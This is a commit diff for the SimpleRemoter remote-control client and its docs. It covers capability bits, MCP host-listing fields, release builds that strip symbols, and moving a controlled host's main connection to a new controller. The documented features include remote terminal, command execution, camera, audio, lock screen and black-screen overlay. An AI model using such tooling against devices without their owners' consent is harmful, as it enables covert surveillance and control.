- **Android**:屏幕预览/注入依赖无障碍服务;进程管理依赖 root;文件管理依赖全盘访问权限(MANAGE_EXTERNAL_STORAGE);远程摄像头、音频、锁屏、黑屏遮罩需相应系统权限或 API 级别;APK 在线升级已编码但尚未真机验收。
## 八、能力位对照(登录上报)
服务端从 `moduleVersion` 的 `-XXXX` 后缀解析能力位(`DefaultCaps()`):
| 平台 | 默认能力位 | 运行时追加 |
|---|---|---|
| Windows | V2、UTF8、SCREEN_PREVIEW、C2C_PATHS、PROTO_SWITCH、VIRTUAL_DESKTOP、WINDOW_INFO、SCREEN_REGION | 仅当本次连接走 TLS 且使用内嵌锚时追加 EMBEDDED_ANCHOR |
| Linux | V2、UTF8、C2C_RECV_ACK、PROCESS | SCREEN_PREVIEW(有可抓 X11 桌面时) |
| macOS | V2、UTF8、TERMINAL、SCREEN_CLIPBOARD、PROCESS、C2C_RECV_ACK | SCREEN_PREVIEW(已授录屏权限时) |
| Android | V2、UTF8、APK_UPDATE、SCREEN_CLIPBOARD、UNINSTALL、REMOTE_CHAT、TERMINAL | SCREEN_PREVIEW、LOCK_SCREEN、PRIVACY_OVERLAY、PROCESS(按无障碍/API/root 状态) |
注意:Windows 的终端、进程、聊天、剪贴板、卸载等能力虽未在能力位中声明,但客户端实际实现并被服务端按平台放行;其他平台的能力位缺失会被服务端提前拒绝。
+8 -5
View File
@@ -141,14 +141,17 @@
{ "hosts": [ /* ... */ ], "total": 7, "totalAll": 9, "limit": 100, "offset": 0, "hasMore": false }
```
`client_type/group/ip/os` 为大小写不敏感子串过滤;`name` 只匹配计算机名,`query` 同时匹配
`client_type/group/ip/os` 为大小写不敏感子串过滤;`name` 匹配计算机名与备注,`query` 匹配
计算机名、备注与 IP;`online=true`(默认)只列在线,`false` 只列历史中存在但当前离线的;
`include_offline=true` 时再合并 `devicehistory.Store.Offline(online)`。`total` 是过滤后命中数,
`totalAll` 是过滤前总数,`hasMore` 表示同一条件下还有下一页。
`totalAll` 是过滤前总数,`hasMore` 表示同一条件下还有下一页。`group` 过滤作用于 Web 控制台
覆盖后的分组(`device_groups.json`,见下文 `hosts[]`)。
`hosts[]` 的字段按 `outputSchema`:`id/name/group/version/clientType/os/ip/rtt/activeWindow/
screen/online/last_seen`,以及 hub 或历史记录里确有的 `location/install_time`;两个服务端都
没有 `authStatus/tls/remark`,不输出。离线历史条目不存 `clientType`,也没有 `rtt/activeWindow`。
screen/online/last_seen`,以及 hub 或历史记录里确有的 `location/install_time`,和 Go 版
Web 控制台设置过的 `remark`(`device_notes.json`,未设置时省略)。`group` 以 Web 控制台的
覆盖值优先(`device_groups.json`),没有覆盖时才用主机上报/历史记录里的分组;两个服务端都
没有 `authStatus/tls`,不输出。离线历史条目不存 `clientType`,也没有 `rtt/activeWindow`。
#### `get_host_detail`
@@ -255,7 +258,7 @@ M5 之前传任一参数都返回 `-32005` 并在 message 里点名。细节见
| 工具 | 汇总行之后 |
|---|---|
| `list_hosts` | 表头 `id name ip group os online clientType last_seen`,随后每台一行 |
| `list_hosts` | 表头 `id name remark ip group os online clientType last_seen`,随后每台一行 |
| `get_host_detail` | 单台:主机 JSON(compact);批量:`id ok detail`,成功行是主机 JSON,失败行是错误信息 |
| `list_files` | 盘符 `drive typeName fileSystem totalMB freeMB`;目录 `name isDir size mtime` |
| `get_audit_log` | `time type msg`,`msg` 是去掉信封字段后的 compact JSON |
+3 -2
View File
@@ -97,7 +97,7 @@
| `list_files` 的 `id/ids/path/limit/offset` | 全部实现;`offset` 是服务端在完整列表上做窗口裁剪;批量走 results 汇总 |
| `read_file` 的语义 | **行语义**:`offset` 起始行(负数=末尾 N 行)、`limit` 行数、`max_bytes` 字节上限;`encoding` 支持 `auto/utf-8/gbk/gb18030/latin1` |
| 输出字段 | `list_hosts` → `hosts/total/totalAll/limit/offset/hasMore`;`list_files` → `files`(不是 `entries`)/`drives`;`get_host_detail.capabilities` → `screenPreview/screenRegion/windowInfo/fileTransferV2/c2cPaths/registry/remoteControl/platform`;`read_file` → `encoding/eol/lines_total/lines_returned/sha256/size/text/truncated` |
| hub 没有的字段 | `authStatus/tls/location/install_time/remark` 不伪造、直接不给(`outputSchema` 只强制 `hosts`) |
| hub 没有的字段 | `authStatus/tls/location/install_time` 不伪造、直接不给(`outputSchema` 只强制 `hosts`);`remark` 来自 Web 控制台备注表(`DeviceNotes`),有则填、无则省略 |
`read_file` 的整文件下载仍受 `YAMA_MCP_READ_MAX`(2 MiB)硬门约束,超过 → `-32602`(schema 描述同款口径)。
@@ -197,7 +197,8 @@ curl -s -X POST localhost:18090/mcp -H "Authorization: Bearer $YAMA_MCP_TOKEN" \
决定是否并入历史;`online/ip/os/group/name/client_type/query` 全为过滤(`name`/`query`
大小写不敏感子串);按 `outputSchema` 返回 `{hosts,total,totalAll,limit,offset,hasMore}`,
host 字段按 schema 命名组装,hub/历史里确有的 `location/install_time/screen/version` 照填,
两边都没有的 `authStatus/tls/remark` 不伪造。
两边都没有的 `authStatus/tls` 不伪造;`remark` 来自 Web 控制台备注表(`DeviceNotes`,
有则填、无则省略),沿用 `name`/`query` 的过滤口径。
- `get_host_detail`:`id` 或 `ids`(≤50,批量走 `{tool,total,succeeded,failed,skipped,results[]}`);
`capabilities{screenPreview,screenRegion,windowInfo,fileTransferV2,c2cPaths,registry,remoteControl,platform}`
(`protocol.SupportsCap` 逐位)——**不含 `v2`**(恒真,列出来误导)。
+9 -3
View File
@@ -35,9 +35,15 @@ set(SOURCES
add_executable(ghost ${SOURCES})
# 设置为可以调试
set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -g")
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -g")
# 默认使用 Release:无调试信息、-O3,链接时剥离符号表(ghost 约 2.5MB);
# 需要 gdb 调试时用:cmake -DCMAKE_BUILD_TYPE=Debug . && make
if(NOT CMAKE_BUILD_TYPE)
set(CMAKE_BUILD_TYPE Release CACHE STRING "Build type" FORCE)
endif()
# 注意:这里不要再往 CMAKE_CXX_FLAGS 里塞 -g,否则 Release 也会带上 DWARF
# (ghost 会涨到 10MB 以上,其中 75% 是 .debug_* 段)。
target_link_options(ghost PRIVATE $<$<CONFIG:Release>:-s>)
# 链接 ZSTD 库
message(STATUS "链接库文件: ${CMAKE_SOURCE_DIR}/lib/libzstd.a")
+18 -8
View File
@@ -30,7 +30,7 @@ SimpleRemoter 的 Linux 客户端,支持远程桌面、远程终端、文件
| 屏幕预览(缩略图) | `ScreenPreview.cpp` | `client/ScreenPreview.cpp` | ✅ 完整(X11 抓屏 → 缩放 → 原始 BGRA 上报,由服务端统一编码 JPEG;双击预览、列表缩略图、MCP `get_screenshot` 均可用。无 `DISPLAY` 时不声明能力位,服务端不会发请求) |
| V2 文件传输 | `FileTransferV2.h` | `file_upload.h` | ✅ 服务端↔Linux(含 MCP `upload_file`/`download_file`:发送完成包带流式 SHA-256,路径不存在/无权限回 `TOKEN_DOWNLOAD_ERROR`) |
| C2C 文件接收 | `FileTransferV2.h` | `file_upload.h` | ✅ Windows/MCP → Linux(目标目录由服务端 `dst_dir` 指定,落盘后回执) |
| 主机转移 | `common/host_transfer.h` + main.cpp | `KernelManager.cpp` | ✅ 完整(`COMMAND_ASSIGN_MASTER`,下发后立即另起一条连接,主连接重连时生效;到期自动回原主控并收掉那条连接) |
| 主机转移 | `common/host_transfer.h` + main.cpp | `KernelManager.cpp` | ✅ 完整(`COMMAND_ASSIGN_MASTER`,**真的转移**:收包后立刻断开原主控、主连接连到新主控,旧主控上这台主机随即离线;新主控可正常远控/升级,但不能再转移或分享它;到期自动回原主控) |
| 主机分享 | `common/host_share.h` + main.cpp | `KernelManager.cpp` / `ClientDll.cpp` | ✅ 完整(每条分享记录 fork 一个 `--share` 子进程,主连接不受影响;取消分享立即断开,重启自动恢复) |
| 配置持久化 | `LinuxConfig` | INI 文件 | ✅ 完整 |
| MCP 远程管理 | 复用 `SystemManager.h` / `PTYHandler.h` / `ScreenHandler.h` | 服务端 MCP | ✅ 档 1:`kill_process`、`exec_command`、`terminal_open/exec/close`、`remote_open/close/mouse/keyboard/clipboard`(服务端放开门禁,客户端协议本已实现) |
@@ -140,6 +140,14 @@ make -j$(nproc)
编译成功后生成可执行文件 `ghost`。
默认按 Release 构建(`-O3`,链接时 `-s` 剥离符号表,产物约 2.5MB,不含调试信息)。
需要 gdb 调试或保留 DWARF 时改用:
```bash
cmake -DCMAKE_BUILD_TYPE=Debug . # -g(未优化)
cmake -DCMAKE_BUILD_TYPE=RelWithDebInfo . # -O2 -g -DNDEBUG
```
## 使用方法
### 基本用法
@@ -219,21 +227,23 @@ Windows 客户端的同名命令没有摘要(走内存加载器/更新器)
服务端选中一台主机后点「转移主机」,选目标主控和有效天数,客户端会:
1. 把目标写进 `~/.config/ghost/config.conf` 的 `transfer` 键(`ip:port:transport:shine:valid_to`);
2. **立即另起一条通往新主控的连接**(与分享同一个 fork+exec 机制),新主控马上就能看到
这台主机上线;它与老主控之间的主连接原样保留,不会断开;
3. 下一次重连(断线重连、客户端重启)时主连接才搬到新主控,那条临时连接随之消失;
2. **立刻断开当前主控**,主连接改连新主控——转移是把这条主连接搬走,不是另开一条。
老主控上这台主机随即离线,`--share` 那种旁路连接在这里是不对的:新主控拿到的
会是一条不能升级、也不真正属于它的连接;
3. 新主控从此可以像自己的主机一样操作它:远控、文件、终端、**升级程序**都正常;
4. 过了有效天数自动回到转移前的原主控——原地址只记在内存里(启动参数或编译期默认),
不写回配置,所以重启后仍然有效;到期时那条临时连接一并收掉。
不写回配置,所以重启后仍然有效;到期时按原地址重连。
第 2 步与 Windows 客户端现有的实际行为一致(`KernelManager.cpp` 的转移分支会贯穿到分享
分支、额外起一个 shared 实例);差别只在到期处理:Windows 那条连接要等进程重启才消失。
转移期间(`now <= valid_to`)客户端会拒绝两件事:**再次转移**和**分享**。前者是为了防止
主机被 B 转到 C、到期却按 A 复原,中间那一跳成为谁也不认的孤儿;后者是因为主机此刻只
连着新主控,新主控无权再把它分出去。两条都会回一条消息进服务端消息栏,不会静默丢弃。
注意事项:
- 目标是永久转移(天数填 0)时客户端会拒绝,避免把主机改到一个不可达的地址后无法回退;
- 有效期内重复下发会被忽略(与 Windows 客户端一致);
- 转移期间切换传输方式(明文 / WS / WSS)会跟随服务端下发的 `transport` 段;
- 「取消分享」不会影响转移建立的临时连接;
- 「取消分享」只收掉分享子进程,撤销不了转移;
- 只想把主机要回来,直接把 `transfer` 键清空并重启客户端即可。
## 主机分享
+69 -116
View File
@@ -53,15 +53,10 @@
int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength);
static void ApplySelfUpdate(const PBYTE szBuffer, ULONG ulLength);
// 主机分享/转移的子进程管理(实现在进程辅助函数之后,DataProcess/main 里都要用)
// 分享子进程与转移子进程都走同一套 fork+exec 管理,只是归属不同:
// KIND_SHARE 「取消分享」只停这些
// KIND_TRANSFER 转移到期时停这些(提前建立的那条连接)
// KIND_ALL 主实例退出时全停
enum ManagedKind { KIND_SHARE, KIND_TRANSFER, KIND_ALL };
// 主机分享的子进程管理(实现在进程辅助函数之后,DataProcess/main 里都要用)。
// 转移不在这里:转移是主连接自己换地址(见下面的 g_needReconnect),不起子进程。
static bool StartShareInstance(const std::string& entry);
static bool StartTransferInstance(const std::string& entry);
static void StopChildren(ManagedKind kind);
static void StopChildren();
static void StartShareInstancesFromConfig();
// 远程地址:当前为写死状态,如需调试,请按实际情况修改
@@ -76,8 +71,9 @@ static std::atomic<bool> g_needResendLogin(false); // 分组变更后需要重
static std::atomic<bool> g_needReconnect(false);
// ============== 主机转移(COMMAND_ASSIGN_MASTER)==============
// 服务端「转移主机」把目标写进 config.conf 的 transfer 键,之后每次重连都连新主控;
// valid_to 到期后恢复本进程启动时的原主控。原主控只存在内存里(argv 或编译期默认),
// 转移 = 主连接真的搬到新主控:收包后立刻断开当前主控、连到目标,旧主控上这台主机
// 随即离线。目标写进 config.conf 的 transfer 键,之后每次重连都连新主控;valid_to
// 到期后恢复本进程启动时的原主控。原主控只存在内存里(argv 或编译期默认),
// 不能写回配置——恢复时读到的若还是转移目标,就成了原地打转。
// 解析/编解码/地址应用在 common/host_transfer.h(macOS 客户端可直接复用)。
static HostTransfer::Endpoint g_transferOrig; // 启动时的主控,过期恢复用
@@ -96,14 +92,11 @@ static bool g_bShareInstance = false; // 本进程是分享子
static std::mutex g_shareMu; // 保护 g_shareProcs
// 子进程 pid 和它启动时用的那条记录:判断「同一条分享」只能比这条记录,不能比配置
// 里的——命令处理是先写配置再起进程,配置里已经是新记录了。
// transfer=true 表示这是「转移主机」立即建立的那条连接(见 StartTransferInstance),
// 它不进 share_list、不受「取消分享」影响。
struct ShareProc {
pid_t pid;
std::string entry;
bool transfer;
};
static std::map<std::string, ShareProc> g_shareProcs; // "ip:port" / "transfer:ip:port" -> 子进程
static std::map<std::string, ShareProc> g_shareProcs; // "ip:port" -> 子进程
// 分享条目上限:每条都对应一个常驻子进程,服务端误发/恶意刷下发不能把进程表打爆。
static const size_t kMaxShareEntries = 16;
static std::atomic<bool> g_shareReaperStop(false);
@@ -574,8 +567,8 @@ static void InitTransferState()
}
// 把接收线程记下的目标应用到全局连接参数。只在主线程调用:CONNECT_ADDRESS 没有
// 跨线程同步,ConnectServer 读的就是它。只改地址、不主动断开——与 Windows 一致,
// 下一次重连才生效。
// 跨线程同步,ConnectServer 读的就是它。收包时已经置了 g_needReconnect,心跳循环
// 会立刻断开重连,所以这里的地址在下一秒就生效——不是「等下次自然重连」。
static void ApplyPendingTransfer()
{
if (!g_transferPending.load(std::memory_order_acquire))
@@ -588,7 +581,7 @@ static void ApplyPendingTransfer()
}
HostTransfer::ApplyTarget(g_SETTINGS, t);
long long left = t.validTo - (long long)time(nullptr);
Mprintf(">>> Transfer armed: next reconnect -> %s:%d (transport=%d), %llds left\n",
Mprintf(">>> Transfer applied: -> %s:%d (transport=%d), %llds left\n",
t.ep.ip.c_str(), t.ep.port, t.ep.transport, left);
}
@@ -606,8 +599,6 @@ static void CheckTransferExpiry()
g_needReconnect.store(true, std::memory_order_relaxed);
Mprintf(">>> Transfer expired: restoring %s:%d\n",
g_transferOrig.ip.c_str(), g_transferOrig.port);
// 转移时提前建立的那条连接也要收掉,否则过期后主机仍挂在新主控上。
StopChildren(KIND_TRANSFER);
}
// ============== 历史活动(COMMAND_QUERY_ACTIVITY → TOKEN_REPORT_ACTIVITY) ==============
@@ -861,6 +852,14 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
Mprintf("** [%p] SHARE ignored: running as share instance ***\n", user);
return TRUE;
}
// 转移期间不接受分享:主机此刻只连着新主控,新主控无权再把它分出去。
// 放行的话,到期按原主控复原后这条分享连接还挂在别处,等于凭空多出
// 一条谁也不认的链路。
if ((long long)time(nullptr) <= g_transferValidTo.load(std::memory_order_relaxed)) {
Mprintf("** [%p] SHARE ignored: host is transferred until %lld ***\n",
user, g_transferValidTo.load(std::memory_order_relaxed));
return TRUE;
}
HostShare::Endpoint ep;
if (!HostShare::ParseCommand(szBuffer, ulLength, ep)) {
Mprintf("** [%p] SHARE: malformed payload, ignored ***\n", user);
@@ -898,10 +897,19 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
}
// 有效期内重复下发忽略(与 Windows KernelManager 的 now <= valid_to 判断一致)。
// 用原子变量而不是再读一次配置:状态以本进程为准,避免和主线程的写入交错。
// 这条同时挡住了「转移目标主控再转一手」:主机被转移到 B 之后只连着 B,B 发来的
// 转移命令一律落在这里被丢掉——只有原主控(主机复原后才连回去的那一台)还有
// 机会发起下一次转移。不这么挡的话,B 把主机转到 C,到期却按原主控复原,
// 中间那一跳就成了谁也不认的孤儿。
long long active = g_transferValidTo.load(std::memory_order_relaxed);
if (now <= active) {
Mprintf("** [%p] ASSIGN to %s:%d ignored: already assigned until %lld ***\n",
user, t.ep.ip.c_str(), t.ep.port, active);
// 主控那边点完看不到任何反馈会以为下发丢了,回一条消息进消息栏。
if (g_pMainClient && g_pMainClient->IsConnected()) {
ClientMsg msg("Transfer host", "Host is already transferred, ignored");
g_pMainClient->Send2Server((char*)&msg, sizeof(msg));
}
return TRUE;
}
{
@@ -913,17 +921,18 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
g_transferValidTo.store(t.validTo, std::memory_order_relaxed);
LinuxConfig cfg;
cfg.SetStr("transfer", HostTransfer::EncodeRecord(t));
// 立即再起一条通往新主控的连接,新主控马上就能看到这台主机上线;本实例与老主控
// 的主连接原样保留,下次重连(含重启)才轮到主连接过去。这与 Windows 客户端
// 现有语义一致:KernelManager 的转移分支末尾没有 break,会贯穿到分享分支,
// 额外起一个 shared 实例连到同一个目标地址。
Mprintf("** [%p] ASSIGN to %s:%d for %llds, main link moves on next reconnect ***\n",
// 真转移:断掉当前主控,主连接立刻连到新主控,旧主控上这台主机随即离线。
// 不能另起一条临时连接——那只是「分享」,新主控拿到的是一条不能升级、
// 也不真正属于它的旁路连接(升级命令按设计只认主连接)。
// 目标由主线程的 ApplyPendingTransfer 落到 g_SETTINGS,本标志让它马上重连。
g_needReconnect.store(true, std::memory_order_relaxed);
Mprintf("** [%p] ASSIGN to %s:%d for %llds, moving the main link now ***\n",
user, t.ep.ip.c_str(), t.ep.port, t.validTo - now);
StartTransferInstance(HostShare::EncodeEntry(t.ep)); // 新主控立即看到上线
} else if (szBuffer[0] == COMMAND_SHARE_CANCEL) {
// 「取消分享」:清掉持久化列表并立刻收掉分享子进程。Windows 那边是同一进程里
// 的线程,取消只改配置、下次启动才生效;Linux 的分享实例本来就是独立进程,
// 可以立即断开。
// 「取消分享」:清掉持久化列表并立刻收掉分享子进程。Windows 客户端在
// COMMAND_SHARE_CANCEL 里也改成停掉同进程的分享线程(StopSharedInstances),
// 两端都是立即断开;Linux 的分享实例是独立进程,直接 stop。转移不涉及子进程,
// 取消分享自然也撤销不了转移。
if (g_bShareInstance) {
Mprintf("** [%p] SHARE_CANCEL ignored: running as share instance ***\n", user);
return TRUE;
@@ -931,7 +940,7 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
LinuxConfig cfg;
cfg.SetStr("share_list", "");
Mprintf("** [%p] SHARE_CANCEL: stopping all share instances ***\n", user);
StopChildren(KIND_SHARE);
StopChildren();
} else if (szBuffer[0] == COMMAND_UPDATE) {
// 服务端"升级程序"菜单下发新版本 ELF。
// 分享实例不升级:二进制是主实例和所有分享实例共用的,好几个进程同时替换
@@ -1315,15 +1324,14 @@ static void ShareReaperLoop()
int st = 0;
pid_t r = waitpid(it->second.pid, &st, WNOHANG);
if (r == it->second.pid) {
const char* kind = it->second.transfer ? "Transfer instance" : "Share instance";
if (WIFEXITED(st))
Mprintf(">>> %s %s exited (code %d)\n",
kind, it->first.c_str(), WEXITSTATUS(st));
Mprintf(">>> Share instance %s exited (code %d)\n",
it->first.c_str(), WEXITSTATUS(st));
else if (WIFSIGNALED(st))
Mprintf(">>> %s %s exited by signal %d\n",
kind, it->first.c_str(), WTERMSIG(st));
Mprintf(">>> Share instance %s exited by signal %d\n",
it->first.c_str(), WTERMSIG(st));
else
Mprintf(">>> %s %s exited\n", kind, it->first.c_str());
Mprintf(">>> Share instance %s exited\n", it->first.c_str());
it = g_shareProcs.erase(it);
} else if (r < 0 && errno == ECHILD) {
it = g_shareProcs.erase(it); // 已被别处收走(防御)
@@ -1420,9 +1428,8 @@ static void TerminateChildLocked(pid_t pid)
Mprintf(">>> Child pid %d still alive after SIGKILL, giving up on it\n", (int)pid);
}
// 起一个受管子进程并登记。key 在本进程内唯一:分享用 "ip:port",转移用 "transfer:ip:port",
// 这样转移目标与分享目标相同也不会互相顶掉。
static bool SpawnManagedChild(const std::string& key, const std::string& entry, bool transfer)
// 起一个受管子进程并登记。key 是目标主控 "ip:port"。
static bool SpawnManagedChild(const std::string& key, const std::string& entry)
{
EnsureShareReaper();
@@ -1447,9 +1454,8 @@ static bool SpawnManagedChild(const std::string& key, const std::string& entry,
pid_t pid = SpawnShareProcess(entry);
if (pid <= 0)
return false;
g_shareProcs[key] = ShareProc{ pid, entry, transfer };
Mprintf(">>> %s instance started: %s (pid %d)\n",
transfer ? "Transfer" : "Share", entry.c_str(), (int)pid);
g_shareProcs[key] = ShareProc{ pid, entry };
Mprintf(">>> Share instance started: %s (pid %d)\n", entry.c_str(), (int)pid);
return true;
}
@@ -1459,61 +1465,19 @@ static bool StartShareInstance(const std::string& entry)
if (!HostShare::DecodeEntry(entry, ep))
return false;
const std::string shareKey = HostShare::MasterKey(ep);
{
// 同一主控上已有一条「转移」临时连接:分享是长期连接,接管它的职责。
// 不收掉的话,这个主控上会挂着同一 clientID 的两条连接,互踢。
const std::string transferKey = "transfer:" + shareKey;
std::lock_guard<std::mutex> lk(g_shareMu);
auto it = g_shareProcs.find(transferKey);
if (it != g_shareProcs.end()) {
Mprintf(">>> Share to %s replaces the transfer instance (pid %d)\n",
shareKey.c_str(), (int)it->second.pid);
TerminateChildLocked(it->second.pid);
g_shareProcs.erase(it);
}
}
return SpawnManagedChild(shareKey, entry, false);
return SpawnManagedChild(shareKey, entry);
}
// 「转移主机」立即生效的那条连接:不进 share_list(重启后由主连接自己过去),
// 也不受「取消分享」影响;目标可以暂时不可达,子进程有自己的重连循环。
static bool StartTransferInstance(const std::string& entry)
{
HostShare::Endpoint ep;
if (!HostShare::DecodeEntry(entry, ep))
return false;
const std::string shareKey = HostShare::MasterKey(ep);
{
// 同一个主控已经有分享连接时不必再起一条:目标那边已经能看到这台主机,
// 两条同 clientID 的连接只会互相踢。
std::lock_guard<std::mutex> lk(g_shareMu);
auto it = g_shareProcs.find(shareKey);
if (it != g_shareProcs.end() && !it->second.transfer
&& ChildAliveLocked(it->second.pid)) {
Mprintf(">>> Transfer target %s already reachable via share instance "
"(pid %d), extra connection skipped\n",
shareKey.c_str(), (int)it->second.pid);
return true;
}
}
return SpawnManagedChild("transfer:" + shareKey, entry, true);
}
// 停掉指定归属的子进程:SIGTERM 让子进程走自己的 signal handler 正常退出,
// 3 秒还不走就 SIGKILL(再等 1 秒)。
// 停掉所有子进程(分享实例;转移已不产生子进程):SIGTERM 让子进程走自己的
// signal handler 正常退出,3 秒还不走就 SIGKILL(再等 1 秒)。
// 等待阶段不持 g_shareMu:调用点就在接收线程上,持锁睡会把 reaper 和其它起停一起堵住。
static void StopChildren(ManagedKind kind)
static void StopChildren()
{
auto match = [kind](const ShareProc& p) {
return kind == KIND_ALL || p.transfer == (kind == KIND_TRANSFER);
};
std::vector<pid_t> pids;
{
std::lock_guard<std::mutex> lk(g_shareMu);
for (auto& kv : g_shareProcs)
if (match(kv.second))
pids.push_back(kv.second.pid);
pids.push_back(kv.second.pid);
for (pid_t pid : pids)
kill(pid, SIGTERM); // 只发信号,不等待
}
@@ -1777,30 +1741,17 @@ static void ApplySelfUpdate(const PBYTE szBuffer, ULONG ulLength)
// 只在主线程调用(与 SendLoginInfo 同一线程),避免和接收线程抢同一个结构体。
static void RefreshLoginTls(LOGIN_INFOR& info)
{
std::vector<std::string> fields;
std::string s(info.szReserved);
size_t pos = 0;
for (;;) {
size_t bar = s.find('|', pos);
if (bar == std::string::npos) {
fields.push_back(s.substr(pos));
break;
}
fields.push_back(s.substr(pos, bar - pos));
pos = bar + 1;
}
while (fields.size() <= (size_t)RES_TLS)
fields.push_back("");
fields[RES_TLS] = TlsEnabled() ? "1" : "0";
info.SetReserved(RES_TLS, TlsEnabled() ? "1" : "0");
}
std::string joined;
for (size_t i = 0; i < fields.size(); ++i) {
if (i)
joined += '|';
joined += fields[i];
}
strncpy(info.szReserved, joined.c_str(), sizeof(info.szReserved) - 1);
info.szReserved[sizeof(info.szReserved) - 1] = '\0';
// 登录信息 szReserved 里的 [20] RES_UPTIME 是「登录这一刻进程已经运行了多少秒」,服务端
// 再加本次上线时长才是当前运行时长。logInfo 在重连循环外只构造一次(见 main 里的注释),
// 不刷新的话每次重连上报的仍是进程启动那一瞬的 0,服务端算出来就只剩「本次连接时长」——
// vps 实测:进程从 11-14 06:33 一直跑着,浮窗却只显示 1.3h(正好是当天 09:05 那次重连到
// 双击时刻的间隔),而启动时间本身是对的。与 RefreshLoginTls 同样只在主线程登录前调用。
static void RefreshLoginUptime(LOGIN_INFOR& info)
{
info.SetReserved(RES_UPTIME, std::to_string(getProcessUptimeSeconds()).c_str());
}
// 能力位(moduleVersion 的 "-%04X" 后缀)里唯一依赖运行环境的是屏幕预览:
@@ -1890,6 +1841,9 @@ int main(int argc, char* argv[])
char hostname[256] = {};
gethostname(hostname, sizeof(hostname));
// 只构造一次,每次连接复用它发登录。因此凡是「随连接变化」的字段都必须在发送前
// 用 RefreshLoginTls / RefreshLoginUptime / RefreshLoginCaps 刷新;反过来,属于
// 「进程启动时的事实」(szStartTime、clientID、安装时间…)就靠复用保持不变。
LOGIN_INFOR logInfo;
// 读取分组名称(从配置文件或 g_SETTINGS)
@@ -2051,15 +2005,13 @@ int main(int argc, char* argv[])
Sleep(5000);
continue;
}
// 主连接已经搬到转移目标:那条「提前建立」的临时连接完成使命。留着就是同一
// clientID 在这个主控上的第二条连接,服务端会互踢。
if (g_transferValidTo.load(std::memory_order_relaxed) > 0)
StopChildren(KIND_TRANSFER);
// 进入新连接,重置服务端身份校验状态
ClientAuth::OnNewConnection();
// 传输方式可能已被热切换(TLS 启/停),登录上报的 RES_TLS 必须反映本次连接。
RefreshLoginTls(logInfo);
// 同一条连接可能是几小时前断掉后重连的,RES_UPTIME 必须按「现在」重算
RefreshLoginUptime(logInfo);
// 屏幕预览能力取决于本机当前是否有可用桌面(daemon 启动时可能还没有 DISPLAY)
RefreshLoginCaps(logInfo);
ClientObject->SendLoginInfo(logInfo.Speed(clock() - c));
@@ -2081,6 +2033,7 @@ int main(int argc, char* argv[])
}
logInfo.szPCName[sizeof(logInfo.szPCName) - 1] = '\0';
RefreshLoginTls(logInfo);
RefreshLoginUptime(logInfo);
RefreshLoginCaps(logInfo);
ClientObject->SendLoginInfo(logInfo);
Mprintf(">> Resent login info after group change\n");
@@ -2180,7 +2133,7 @@ int main(int argc, char* argv[])
g_shareReaperStop.store(true, std::memory_order_relaxed);
if (g_shareReaperThread.joinable())
g_shareReaperThread.join();
StopChildren(KIND_ALL);
StopChildren();
}
// 采样线程要在 main 的局部对象(historyChecker)析构前停掉
+5
View File
@@ -124,6 +124,11 @@ target_compile_options(ghost PRIVATE
-fobjc-arc
)
# Release 链接时删掉 local 符号(对应 Linux 那边的 -s;ld64 用 -x)。
# 只删 non-global 符号,external 符号保留,dyld 绑定不受影响;签名由 ld 在链接
# 末尾完成,所以改符号表不会让签名失效。ghost 目前 ~19k 个符号里 8.3k 是 local。
target_link_options(ghost PRIVATE $<$<CONFIG:Release>:-Wl,-x>)
# Output directory
set_target_properties(ghost PROPERTIES
RUNTIME_OUTPUT_DIRECTORY ${CMAKE_BINARY_DIR}/bin
+327 -32
View File
@@ -17,6 +17,7 @@
#import <thread>
#import <atomic>
#import <memory>
#import <mutex>
#import <string>
#import <map>
#import <vector>
@@ -29,6 +30,7 @@
#include "../common/xxhash.h"
#include "../common/rtt_estimator.h"
#include "../common/client_auth_state.h"
#include "../common/host_transfer.h" // 主机转移(COMMAND_ASSIGN_MASTER),与 Linux/Android 共用
#include "../common/posix_net_helpers.h"
#include "../common/sub_conn_thread.h"
#include "../common/ClientLogHandler.h"
@@ -82,6 +84,9 @@ State g_bExit = S_CLIENT_NORMAL;
static std::string g_configDir;
static std::string g_configPath;
static std::map<std::string, std::string> g_configData;
// 收包线程会写配置(分组变更、转移记录),主线程也会读/写(登录信息、到期清除),
// 而 g_configData 和整文件重写都不是线程安全的——所有访问都必须持有这把锁。
static std::mutex g_configMu;
// Initialize config paths
static void initConfigPaths()
@@ -112,6 +117,7 @@ static void mkdirRecursive(const std::string& path)
// Load all config from file
static void loadConfig()
{
std::lock_guard<std::mutex> lk(g_configMu);
initConfigPaths();
g_configData.clear();
@@ -127,8 +133,8 @@ static void loadConfig()
}
}
// Save all config to file
static void saveConfig()
// Save all config to file. 调用方必须持有 g_configMu(setConfigStr 已在锁内)。
static void saveConfigLocked()
{
initConfigPaths();
mkdirRecursive(g_configDir);
@@ -148,6 +154,7 @@ static void saveConfig()
// Get config string value
static std::string getConfigStr(const std::string& key, const std::string& def = "")
{
std::lock_guard<std::mutex> lk(g_configMu);
auto it = g_configData.find(key);
return it != g_configData.end() ? it->second : def;
}
@@ -155,8 +162,9 @@ static std::string getConfigStr(const std::string& key, const std::string& def =
// Set config string value
static void setConfigStr(const std::string& key, const std::string& value)
{
std::lock_guard<std::mutex> lk(g_configMu);
g_configData[key] = value;
saveConfig();
saveConfigLocked();
}
// Save group name to config file
@@ -172,6 +180,175 @@ static std::string loadGroupName()
return getConfigStr("group_name");
}
// ============== 主机转移(COMMAND_ASSIGN_MASTER + SHARE_TYPE_YAMA_FOREVER)==============
// 服务端「转移主机」下发的载荷是 host:port:days:shine[:transport],解析与记录编解码在
// common/host_transfer.h(与 Linux/Android 共用)。收包线程只记「待应用」,地址切换
// 放在主连接线程——CONNECT_ADDRESS 不参与跨线程同步(同 linux/main.cpp 与 Android)。
// 语义与 Android 对齐:主连接立即搬到新主控;目标持续一分钟连不上就退回原主控;
// 新主控也能把主机「提前归还」(把到期时刻设成当时)。
// 原主控只存在内存里(启动时的地址),绝不写回配置——恢复时读到的若还是转移目标,
// 就成了原地打转。
static HostTransfer::Endpoint g_transferOrig;
static std::atomic<long long> g_transferValidTo(0); // >0 = 转移中(到期时刻)
static std::atomic<bool> g_transferPending(false); // 接收线程已写好新目标,待主线程应用
static std::atomic<bool> g_transferEndEarly(false); // true = 新主控提前归还,不是到期
